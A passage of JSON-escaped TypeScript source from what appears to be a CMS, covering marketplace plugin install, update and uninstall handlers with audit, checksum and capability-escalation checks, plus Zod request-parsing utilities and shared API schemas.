Install ────────────────────────────────────────────────────────\n\nexport async function handleMarketplaceInstall(\n\tdb: Kysely<Database>,\n\tstorage: Storage | null,\n\tsandboxRunner: SandboxRunner | null,\n\tmarketplaceUrl: string | undefined,\n\tpluginId: string,\n\topts?: { version?: string; configuredPluginIds?: Set<string>; siteOrigin?: string },\n): Promise<ApiResult<MarketplaceInstallResult>> {\n\tconst client = getClient(marketplaceUrl, opts?.siteOrigin);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MARKETPLACE_NOT_CONFIGURED\",\n\t\t\t\tmessage: \"Marketplace is not configured\",\n\t\t\t},\n\t\t};\n\t}\n\n\tif (!storage) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"STORAGE_NOT_CONFIGURED\",\n\t\t\t\tmessage: \"Storage is required for marketplace plugin installation\",\n\t\t\t},\n\t\t};\n\t}\n\n\tif (!sandboxRunner || !sandboxRunner.isAvailable()) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"SANDBOX_NOT_AVAILABLE\",\n\t\t\t\tmessage: \"Sandbox runner is required for marketplace plugins\",\n\t\t\t},\n\t\t};\n\t}\n\n\ttry {\n\t\t// Check if already installed\n\t\tconst stateRepo = new PluginStateRepository(db);\n\t\tconst existing = await stateRepo.get(pluginId);\n\t\tif (existing && existing.source === \"marketplace\") {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"ALREADY_INSTALLED\",\n\t\t\t\t\tmessage: `Plugin ${pluginId} is already installed`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Block installation if a configured (trusted) plugin with the same ID exists.\n\t\t// Without this check, the sandboxed plugin could shadow the trusted plugin's\n\t\t// route handlers while auth decisions are made against the trusted plugin's metadata.\n\t\tif (opts?.configuredPluginIds?.has(pluginId)) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"PLUGIN_ID_CONFLICT\",\n\t\t\t\t\tmessage: `Cannot install marketplace plugin \"${pluginId}\" — a configured plugin with the same ID already exists`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Fetch plugin detail from marketplace\n\t\tconst pluginDetail = await client.getPlugin(pluginId);\n\t\tconst version = opts?.version ?? pluginDetail.latestVersion?.version;\n\t\tif (!version) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NO_VERSION\",\n\t\t\t\t\tmessage: `No published versions found for plugin ${pluginId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst versionMetadata = await resolveVersionMetadata(client, pluginId, pluginDetail, version);\n\t\tif (!versionMetadata) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NO_VERSION\",\n\t\t\t\t\tmessage: `Version ${version} was not found for plugin ${pluginId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Block installation of plugins that haven't passed audit.\n\t\t// Both \"fail\" (explicitly malicious) and \"warn\" (audit error or\n\t\t// inconclusive) are non-installable — only \"pass\" or null (no audit\n\t\t// ran) are allowed through.\n\t\tif (versionMetadata.auditVerdict === \"fail\" || versionMetadata.auditVerdict === \"warn\") {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"AUDIT_FAILED\",\n\t\t\t\t\tmessage:\n\t\t\t\t\t\tversionMetadata.auditVerdict === \"fail\"\n\t\t\t\t\t\t\t? \"Plugin failed security audit and cannot be installed\"\n\t\t\t\t\t\t\t: \"Plugin audit was inconclusive and cannot be installed until reviewed\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Download and extract bundle\n\t\tconst bundle = await client.downloadBundle(pluginId, version);\n\n\t\t// Verify checksum matches marketplace-published checksum\n\t\tif (versionMetadata.checksum && bundle.checksum !== versionMetadata.checksum) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"CHECKSUM_MISMATCH\",\n\t\t\t\t\tmessage: \"Bundle checksum does not match marketplace record. Download may be corrupted.\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst bundleIdentityError = validateBundleIdentity(bundle, pluginId, version);\n\t\tif (bundleIdentityError) return bundleIdentityError;\n\n\t\t// Store bundle in site-local R2\n\t\tawait storeBundleInR2(storage, pluginId, version, bundle);\n\n\t\t// Write plugin state\n\t\tawait stateRepo.upsert(pluginId, version, \"active\", {\n\t\t\tsource: \"marketplace\",\n\t\t\tmarketplaceVersion: version,\n\t\t\tdisplayName: pluginDetail.name,\n\t\t\tdescription: pluginDetail.description ?? undefined,\n\t\t});\n\n\t\t// Fire-and-forget install stat\n\t\tclient.reportInstall(pluginId, version).catch(() => {\n\t\t\t// Intentional: never fails the install\n\t\t});\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\tpluginId,\n\t\t\t\tversion,\n\t\t\t\tcapabilities: bundle.manifest.capabilities,\n\t\t\t},\n\t\t};\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"MARKETPLACE_UNAVAILABLE\",\n\t\t\t\t\tmessage: \"Plugin marketplace is currently unavailable\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tif (err instanceof MarketplaceError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: err.code ?? \"MARKETPLACE_ERROR\",\n\t\t\t\t\tmessage: err.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tif (err instanceof EmDashStorageError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: err.code ?? \"STORAGE_ERROR\",\n\t\t\t\t\tmessage: \"Storage error while installing plugin\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tif (err && typeof err === \"object\" && \"code\" in err) {\n\t\t\tconst code = (err as { code?: unknown }).code;\n\t\t\tif (typeof code === \"string\" && code.trim()) {\n\t\t\t\treturn {\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: {\n\t\t\t\t\t\tcode,\n\t\t\t\t\t\tmessage: \"Failed to install plugin from marketplace\",\n\t\t\t\t\t},\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\t\tconsole.error(\"Failed to install marketplace plugin:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"INSTALL_FAILED\",\n\t\t\t\tmessage: \"Failed to install plugin from marketplace\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n// ── Update ─────────────────────────────────────────────────────────\n\nexport async function handleMarketplaceUpdate(\n\tdb: Kysely<Database>,\n\tstorage: Storage | null,\n\tsandboxRunner: SandboxRunner | null,\n\tmarketplaceUrl: string | undefined,\n\tpluginId: string,\n\topts?: {\n\t\tversion?: string;\n\t\tconfirmCapabilityChanges?: boolean;\n\t\tconfirmRouteVisibilityChanges?: boolean;\n\t},\n): Promise<ApiResult<MarketplaceUpdateResult>> {\n\tconst client = getClient(marketplaceUrl);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"MARKETPLACE_NOT_CONFIGURED\", message: \"Marketplace is not configured\" },\n\t\t};\n\t}\n\tif (!storage) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"STORAGE_NOT_CONFIGURED\", message: \"Storage is required\" },\n\t\t};\n\t}\n\tif (!sandboxRunner || !sandboxRunner.isAvailable()) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"SANDBOX_NOT_AVAILABLE\", message: \"Sandbox runner is required\" },\n\t\t};\n\t}\n\n\ttry {\n\t\tconst stateRepo = new PluginStateRepository(db);\n\t\tconst existing = await stateRepo.get(pluginId);\n\t\tif (!existing || existing.source !== \"marketplace\") {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `No marketplace plugin found: ${pluginId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst oldVersion = existing.marketplaceVersion ?? existing.version;\n\n\t\t// Get target version\n\t\tconst pluginDetail = await client.getPlugin(pluginId);\n\t\tconst newVersion = opts?.version ?? pluginDetail.latestVersion?.version;\n\t\tif (!newVersion) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"NO_VERSION\", message: \"No newer version available\" },\n\t\t\t};\n\t\t}\n\n\t\tif (newVersion === oldVersion) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"ALREADY_UP_TO_DATE\", message: \"Plugin is already up to date\" },\n\t\t\t};\n\t\t}\n\n\t\tconst versionMetadata = await resolveVersionMetadata(\n\t\t\tclient,\n\t\t\tpluginId,\n\t\t\tpluginDetail,\n\t\t\tnewVersion,\n\t\t);\n\t\tif (!versionMetadata) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NO_VERSION\",\n\t\t\t\t\tmessage: `Version ${newVersion} was not found for plugin ${pluginId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Download new bundle\n\t\tconst bundle = await client.downloadBundle(pluginId, newVersion);\n\n\t\t// Verify checksum matches marketplace-published checksum for this version\n\t\tif (versionMetadata.checksum && bundle.checksum !== versionMetadata.checksum) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"CHECKSUM_MISMATCH\",\n\t\t\t\t\tmessage: \"Bundle checksum does not match marketplace record. Download may be corrupted.\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst bundleIdentityError = validateBundleIdentity(bundle, pluginId, newVersion);\n\t\tif (bundleIdentityError) return bundleIdentityError;\n\n\t\t// Diff capabilities and route visibility against old version\n\t\tconst oldBundle = await loadBundleFromR2(storage, pluginId, oldVersion);\n\t\tconst oldCaps = oldBundle?.manifest.capabilities ?? [];\n\t\tconst capabilityChanges = diffCapabilities(oldCaps, bundle.manifest.capabilities);\n\t\tconst hasEscalation = capabilityChanges.added.length > 0;\n\n\t\t// If capabilities escalated, require explicit confirmation\n\t\tif (hasEscalation && !opts?.confirmCapabilityChanges) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"CAPABILITY_ESCALATION\",\n\t\t\t\t\tmessage: \"Plugin update requires new capabilities\",\n\t\t\t\t\tdetails: { capabilityChanges },\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Diff route visibility — routes going from private to public are a\n\t\t// security-sensitive change that exposes unauthenticated endpoints.\n\t\tconst routeVisibilityChanges = diffRouteVisibility(oldBundle?.manifest, bundle.manifest);\n\t\tconst hasNewPublicRoutes = routeVisibilityChanges.newlyPublic.length > 0;\n\n\t\tif (hasNewPublicRoutes && !opts?.confirmRouteVisibilityChanges) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"ROUTE_VISIBILITY_ESCALATION\",\n\t\t\t\t\tmessage: \"Plugin update exposes new public (unauthenticated) routes\",\n\t\t\t\t\tdetails: { routeVisibilityChanges, capabilityChanges },\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Store new bundle\n\t\tawait storeBundleInR2(storage, pluginId, newVersion, bundle);\n\n\t\t// Update state\n\t\tawait stateRepo.upsert(pluginId, newVersion, \"active\", {\n\t\t\tsource: \"marketplace\",\n\t\t\tmarketplaceVersion: newVersion,\n\t\t\tdisplayName: pluginDetail.name,\n\t\t\tdescription: pluginDetail.description ?? undefined,\n\t\t});\n\n\t\t// Clean up old bundle from R2 (best-effort)\n\t\tdeleteBundleFromR2(storage, pluginId, oldVersion).catch(() => {});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\tpluginId,\n\t\t\t\toldVersion,\n\t\t\t\tnewVersion,\n\t\t\t\tcapabilityChanges,\n\t\t\t\trouteVisibilityChanges: hasNewPublicRoutes ? routeVisibilityChanges : undefined,\n\t\t\t},\n\t\t};\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"MARKETPLACE_UNAVAILABLE\", message: \"Marketplace is unavailable\" },\n\t\t\t};\n\t\t}\n\t\tif (err instanceof MarketplaceError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: err.code ?? \"MARKETPLACE_ERROR\", message: err.message },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Failed to update marketplace plugin:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"UPDATE_FAILED\", message: \"Failed to update plugin\" },\n\t\t};\n\t}\n}\n\n// ── Uninstall ──────────────────────────────────────────────────────\n\nexport async function handleMarketplaceUninstall(\n\tdb: Kysely<Database>,\n\tstorage: Storage | null,\n\tpluginId: string,\n\topts?: { deleteData?: boolean },\n): Promise<ApiResult<MarketplaceUninstallResult>> {\n\ttry {\n\t\tconst stateRepo = new PluginStateRepository(db);\n\t\tconst existing = await stateRepo.get(pluginId);\n\t\tif (!existing || existing.source !== \"marketplace\") {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `No marketplace plugin found: ${pluginId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst version = existing.marketplaceVersion ?? existing.version;\n\n\t\t// Delete bundle from site R2\n\t\tif (storage) {\n\t\t\tawait deleteBundleFromR2(storage, pluginId, version);\n\t\t}\n\n\t\t// Optionally delete plugin storage data\n\t\tlet dataDeleted = false;\n\t\tif (opts?.deleteData) {\n\t\t\ttry {\n\t\t\t\tawait db.deleteFrom(\"_plugin_storage\").where(\"plugin_id\", \"=\", pluginId).execute();\n\t\t\t\tdataDeleted = true;\n\t\t\t} catch {\n\t\t\t\t// Plugin storage table may not have data for this plugin\n\t\t\t}\n\t\t}\n\n\t\t// Delete state row\n\t\tawait stateRepo.delete(pluginId);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { pluginId, dataDeleted },\n\t\t};\n\t} catch (err) {\n\t\tconsole.error(\"Failed to uninstall marketplace plugin:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"UNINSTALL_FAILED\",\n\t\t\t\tmessage: \"Failed to uninstall plugin\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n// ── Update check ───────────────────────────────────────────────────\n\nexport async function handleMarketplaceUpdateCheck(\n\tdb: Kysely<Database>,\n\tmarketplaceUrl: string | undefined,\n): Promise<ApiResult<{ items: MarketplaceUpdateCheck[] }>> {\n\tconst client = getClient(marketplaceUrl);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"MARKETPLACE_NOT_CONFIGURED\", message: \"Marketplace is not configured\" },\n\t\t};\n\t}\n\n\ttry {\n\t\tconst stateRepo = new PluginStateRepository(db);\n\t\tconst marketplacePlugins = await stateRepo.getMarketplacePlugins();\n\n\t\tconst items: MarketplaceUpdateCheck[] = [];\n\n\t\tfor (const plugin of marketplacePlugins) {\n\t\t\ttry {\n\t\t\t\tconst detail = await client.getPlugin(plugin.pluginId);\n\t\t\t\tconst latest = detail.latestVersion?.version;\n\t\t\t\tconst installed = plugin.marketplaceVersion ?? plugin.version;\n\n\t\t\t\tif (!latest) continue;\n\n\t\t\t\tconst hasUpdate = latest !== installed;\n\t\t\t\tlet capabilityChanges: { added: string[]; removed: string[] } | undefined;\n\t\t\t\tlet hasCapabilityChanges = false;\n\n\t\t\t\tif (hasUpdate && detail.latestVersion) {\n\t\t\t\t\tconst oldCaps = detail.capabilities ?? [];\n\t\t\t\t\tconst newCaps = detail.latestVersion.capabilities ?? [];\n\t\t\t\t\tcapabilityChanges = diffCapabilities(oldCaps, newCaps);\n\t\t\t\t\thasCapabilityChanges =\n\t\t\t\t\t\tcapabilityChanges.added.length > 0 || capabilityChanges.removed.length > 0;\n\t\t\t\t}\n\n\t\t\t\titems.push({\n\t\t\t\t\tpluginId: plugin.pluginId,\n\t\t\t\t\tinstalled,\n\t\t\t\t\tlatest: latest ?? installed,\n\t\t\t\t\thasUpdate,\n\t\t\t\t\thasCapabilityChanges,\n\t\t\t\t\tcapabilityChanges: hasCapabilityChanges ? capabilityChanges : undefined,\n\t\t\t\t\t// Route visibility changes require downloading both bundles to compare\n\t\t\t\t\t// manifests, which is too expensive for a preview check. The actual\n\t\t\t\t\t// enforcement happens at update time in handleMarketplaceUpdate.\n\t\t\t\t\thasRouteVisibilityChanges: false,\n\t\t\t\t});\n\t\t\t} catch (err) {\n\t\t\t\t// Skip plugins that can't be checked (marketplace down, plugin delisted)\n\t\t\t\tconsole.warn(`Failed to check updates for ${plugin.pluginId}:`, err);\n\t\t\t}\n\t\t}\n\n\t\treturn { success: true, data: { items } };\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"MARKETPLACE_UNAVAILABLE\", message: \"Marketplace is unavailable\" },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Failed to check marketplace updates:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"UPDATE_CHECK_FAILED\", message: \"Failed to check for updates\" },\n\t\t};\n\t}\n}\n\n// ── Proxy ──────────────────────────────────────────────────────────\n\nexport async function handleMarketplaceSearch(\n\tmarketplaceUrl: string | undefined,\n\tquery?: string,\n\topts?: MarketplaceSearchOpts,\n): Promise<ApiResult<unknown>> {\n\tconst client = getClient(marketplaceUrl);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"MARKETPLACE_NOT_CONFIGURED\", message: \"Marketplace is not configured\" },\n\t\t};\n\t}\n\n\ttry {\n\t\tconst result = await client.search(query, opts);\n\t\treturn { success: true, data: result };\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"MARKETPLACE_UNAVAILABLE\", message: \"Marketplace is unavailable\" },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Failed to search marketplace:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"SEARCH_FAILED\", message: \"Failed to search marketplace\" },\n\t\t};\n\t}\n}\n\nexport async function handleMarketplaceGetPlugin(\n\tmarketplaceUrl: string | undefined,\n\tpluginId: string,\n): Promise<ApiResult<unknown>> {\n\tconst client = getClient(marketplaceUrl);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"MARKETPLACE_NOT_CONFIGURED\", message: \"Marketplace is not configured\" },\n\t\t};\n\t}\n\n\ttry {\n\t\tconst result = await client.getPlugin(pluginId);\n\t\treturn { success: true, data: result };\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceError && err.status === 404) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"NOT_FOUND\", message: `Plugin not found: ${pluginId}` },\n\t\t\t};\n\t\t}\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"MARKETPLACE_UNAVAILABLE\", message: \"Marketplace is unavailable\" },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Failed to get marketplace plugin:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"GET_PLUGIN_FAILED\", message: \"Failed to get plugin details\" },\n\t\t};\n\t}\n}\n\n// ── Theme proxy handlers ──────────────────────────────────────────\n\nexport async function handleThemeSearch(\n\tmarketplaceUrl: string | undefined,\n\tquery?: string,\n\topts?: MarketplaceThemeSearchOpts,\n): Promise<ApiResult<unknown>> {\n\tconst client = getClient(marketplaceUrl);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"MARKETPLACE_NOT_CONFIGURED\", message: \"Marketplace is not configured\" },\n\t\t};\n\t}\n\n\ttry {\n\t\tconst result = await client.searchThemes(query, opts);\n\t\treturn { success: true, data: result };\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"MARKETPLACE_UNAVAILABLE\", message: \"Marketplace is unavailable\" },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Failed to search themes:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"THEME_SEARCH_FAILED\", message: \"Failed to search themes\" },\n\t\t};\n\t}\n}\n\nexport async function handleThemeGetDetail(\n\tmarketplaceUrl: string | undefined,\n\tthemeId: string,\n): Promise<ApiResult<unknown>> {\n\tconst client = getClient(marketplaceUrl);\n\tif (!client) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"MARKETPLACE_NOT_CONFIGURED\", message: \"Marketplace is not configured\" },\n\t\t};\n\t}\n\n\ttry {\n\t\tconst result = await client.getTheme(themeId);\n\t\treturn { success: true, data: result };\n\t} catch (err) {\n\t\tif (err instanceof MarketplaceError && err.status === 404) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"NOT_FOUND\", message: `Theme not found: ${themeId}` },\n\t\t\t};\n\t\t}\n\t\tif (err instanceof MarketplaceUnavailableError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"MARKETPLACE_UNAVAILABLE\", message: \"Marketplace is unavailable\" },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Failed to get marketplace theme:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: { code: \"GET_THEME_FAILED\", message: \"Failed to get theme details\" },\n\t\t};\n\t}\n}\n","/**\n * Request body and query parameter parsing with Zod validation.\n *\n * All API routes should use these utilities instead of `request.json() as T`\n * or raw `url.searchParams.get()` with manual coercion.\n */\n\nimport { z } from \"zod\";\n\nimport { apiError } from \"./error.js\";\n\n/** Maximum allowed JSON request body size (10 MB). */\nconst MAX_BODY_SIZE = 10 * 1024 * 1024;\n\n/**\n * Result of parsing: either the validated data or an error Response.\n * Routes should check `if (result instanceof Response) return result;`\n */\nexport type ParseResult<T> = T | Response;\n\n/**\n * Parse and validate a JSON request body against a Zod schema.\n *\n * Returns the validated data on success, or a 400 Response on failure.\n * Replaces all `(await request.json()) as T` casts.\n */\nexport async function parseBody<T extends z.ZodType>(\n\trequest: Request,\n\tschema: T,\n): Promise<ParseResult<z.infer<T>>> {\n\t// Best-effort size check via Content-Length (can be absent with chunked encoding)\n\tconst contentLength = request.headers.get(\"Content-Length\");\n\tif (contentLength && parseInt(contentLength, 10) > MAX_BODY_SIZE) {\n\t\treturn apiError(\"PAYLOAD_TOO_LARGE\", \"Request body too large\", 413);\n\t}\n\n\tlet raw: unknown;\n\ttry {\n\t\traw = await request.json();\n\t} catch {\n\t\treturn apiError(\"INVALID_JSON\", \"Request body must be valid JSON\", 400);\n\t}\n\n\treturn validate(schema, raw);\n}\n\n/**\n * Parse and validate an optional JSON request body.\n *\n * Returns `defaultValue` if the body is empty, or the validated data if present.\n * For endpoints where the body is optional (e.g., preview-url, confirm).\n */\nexport async function parseOptionalBody<T extends z.ZodType>(\n\trequest: Request,\n\tschema: T,\n\tdefaultValue: z.infer<T>,\n): Promise<ParseResult<z.infer<T>>> {\n\t// Best-effort size check via Content-Length (can be absent with chunked encoding)\n\tconst contentLength = request.headers.get(\"Content-Length\");\n\tif (contentLength && parseInt(contentLength, 10) > MAX_BODY_SIZE) {\n\t\treturn apiError(\"PAYLOAD_TOO_LARGE\", \"Request body too large\", 413);\n\t}\n\n\tlet text: string;\n\ttry {\n\t\ttext = await request.text();\n\t} catch {\n\t\treturn defaultValue;\n\t}\n\n\tif (!text.trim()) {\n\t\treturn defaultValue;\n\t}\n\n\tlet raw: unknown;\n\ttry {\n\t\traw = JSON.parse(text);\n\t} catch {\n\t\treturn apiError(\"INVALID_JSON\", \"Request body must be valid JSON\", 400);\n\t}\n\n\treturn validate(schema, raw);\n}\n\n/**\n * Parse and validate URL search params against a Zod schema.\n *\n * Converts searchParams to a plain object before validation.\n * Zod coercion handles string -> number/boolean conversion.\n * Replaces manual `url.searchParams.get()` + `parseInt()` patterns.\n */\nexport function parseQuery<T extends z.ZodType>(url: URL, schema: T): ParseResult<z.infer<T>> {\n\tconst raw: Record<string, string> = {};\n\tfor (const [key, value] of url.searchParams) {\n\t\traw[key] = value;\n\t}\n\treturn validate(schema, raw);\n}\n\n/**\n * Validate raw data against a schema. Returns data or error Response.\n */\nfunction validate<T extends z.ZodType>(schema: T, data: unknown): ParseResult<z.infer<T>> {\n\tconst result = schema.safeParse(data);\n\n\tif (result.success) {\n\t\treturn result.data as z.infer<T>;\n\t}\n\n\t// Format Zod errors into a readable structure\n\tconst issues = result.error.issues.map((issue: z.ZodIssue) => ({\n\t\tpath: issue.path.join(\".\"),\n\t\tmessage: issue.message,\n\t}));\n\n\treturn Response.json(\n\t\t{\n\t\t\terror: {\n\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\tmessage: \"Invalid request data\",\n\t\t\t\tdetails: { issues },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tstatus: 400,\n\t\t\theaders: {\n\t\t\t\t\"Cache-Control\": \"private, no-store\",\n\t\t\t},\n\t\t},\n\t);\n}\n\n/**\n * Type guard to check if a ParseResult is an error Response.\n * Usage: `if (isParseError(result)) return result;`\n */\nexport function isParseError<T>(result: ParseResult<T>): result is Response {\n\treturn result instanceof Response;\n}\n","import { z } from \"zod\";\n\n// ---------------------------------------------------------------------------\n// Role level\n// ---------------------------------------------------------------------------\n\n/** Valid role level values */\nexport const VALID_ROLE_LEVELS = new Set([10, 20, 30, 40, 50]);\n\n/** Role level — coerces string/number to valid RoleLevel (10|20|30|40|50) */\nexport const roleLevel = z.coerce\n\t.number()\n\t.int()\n\t.refine((n): n is 10 | 20 | 30 | 40 | 50 => VALID_ROLE_LEVELS.has(n), {\n\t\tmessage: \"Invalid role level. Must be 10, 20, 30, 40, or 50\",\n\t});\n\n// ---------------------------------------------------------------------------\n// Pagination\n// ---------------------------------------------------------------------------\n\n/** Pagination query params — cursor-based */\nexport const cursorPaginationQuery = z\n\t.object({\n\t\tcursor: z.string().max(2048).optional().meta({ description: \"Opaque cursor for pagination\" }),\n\t\tlimit: z.coerce.number().int().min(1).max(100).optional().default(50).meta({\n\t\t\tdescription: \"Maximum number of items to return (1-100, default 50)\",\n\t\t}),\n\t})\n\t.meta({ id: \"CursorPaginationQuery\" });\n\n/** Pagination query params — offset-based */\nexport const offsetPaginationQuery = z\n\t.object({\n\t\tlimit: z.coerce.number().int().min(1).max(100).optional().default(50),\n\t\toffset: z.coerce.number().int().min(0).optional().default(0),\n\t})\n\t.meta({ id: \"OffsetPaginationQuery\" });\n\n// ---------------------------------------------------------------------------\n// Shared primitives\n// ---------------------------------------------------------------------------\n\n/** Slug pattern: lowercase letters, digits, underscores; starts with letter */\nexport const slugPattern = /^[a-z][a-z0-9_]*$/;\n\n/** Matches http(s) scheme at start of URL */\nconst HTTP_SCHEME_RE = /^https?:\\/\\//i;\n\n/** Validates that a URL string uses http or https scheme. Rejects javascript:/data: URI XSS vectors. */\nexport const httpUrl = z\n\t.string()\n\t.url()\n\t.refine((url) => HTTP_SCHEME_RE.test(url), \"URL must use http or https\");\n\n/** BCP 47 locale code — language with optional script/region subtags (e.g. en, en-US, pt-BR, es-419, zh-Hant) */\nexport const localeCode = z\n\t.string()\n\t.regex(/^[a-z]{2,3}(-[a-z0-9]{2,8})*$/i, \"Invalid locale code\")\n\t.transform((v) => v.toLowerCase());\n\n/** Shared `?locale=xx` query shape for endpoints that filter by locale. */\nexport const localeFilterQuery = z\n\t.object({\n\t\tlocale: z.string().min(1).optional(),\n\t})\n\t.meta({ id: \"LocaleFilterQuery\" });\n\n// ---------------------------------------------------------------------------\n// OpenAPI: Shared response schemas\n// ---------------------------------------------------------------------------\n\n/** Standard API error response */\nexport const apiErrorSchema = z\n\t.object({\n\t\terror: z.object({\n\t\t\tcode: z.string().meta({ description: \"Machine-readable error code\", example: \"NOT_FOUND\" }),\n\t\t\tmessage: z.string().meta({ description: \"Human-readable error message\" }),\n\t\t}),\n\t})\n\t.meta({ id: \"ApiError\" });\n\n/** Wrap a data schema in the standard success envelope: { data: T } */\nexport function successEnvelope<T extends z.ZodType>(dataSchema: T) {\n\treturn z.object({ data: dataSchema });\n}\n\n/** Standard delete response */\nexport const deleteResponseSchema = z.object({ deleted: z.literal(true) }).meta({\n\tid: \"DeleteResponse\",\n});\n\n/** Standard count response */\nexport const countResponseSchema = z\n\t.object({ count: z.number().int().min(0) })\n\t.meta({ id: \"CountResponse\" });\n","import { z } from \"zod\";\n\nimport { 